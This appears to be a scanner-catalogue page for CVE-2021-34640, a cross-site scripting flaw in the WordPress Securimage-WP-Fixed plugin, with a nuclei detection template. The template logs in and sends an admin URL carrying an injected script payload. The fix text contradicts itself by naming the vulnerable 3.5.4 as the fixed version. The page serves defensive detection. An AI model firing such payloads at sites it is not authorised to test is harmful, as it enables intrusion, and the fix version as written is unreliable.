WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET //wp-admin/options-general.php/"></script><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-34640 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-34640

info:
  name: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640
    - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34640
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34640
    cwe-id: CWE-79
    epss-score: 0.02303
    epss-percentile: 0.83471
    cpe: cpe:2.3:a:securimage-wp-fixed_project:securimage-wp-fixed:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: securimage-wp-fixed_project
    product: securimage-wp-fixed
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,securimage-wp-fixed_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET //wp-admin/options-general.php/"></script><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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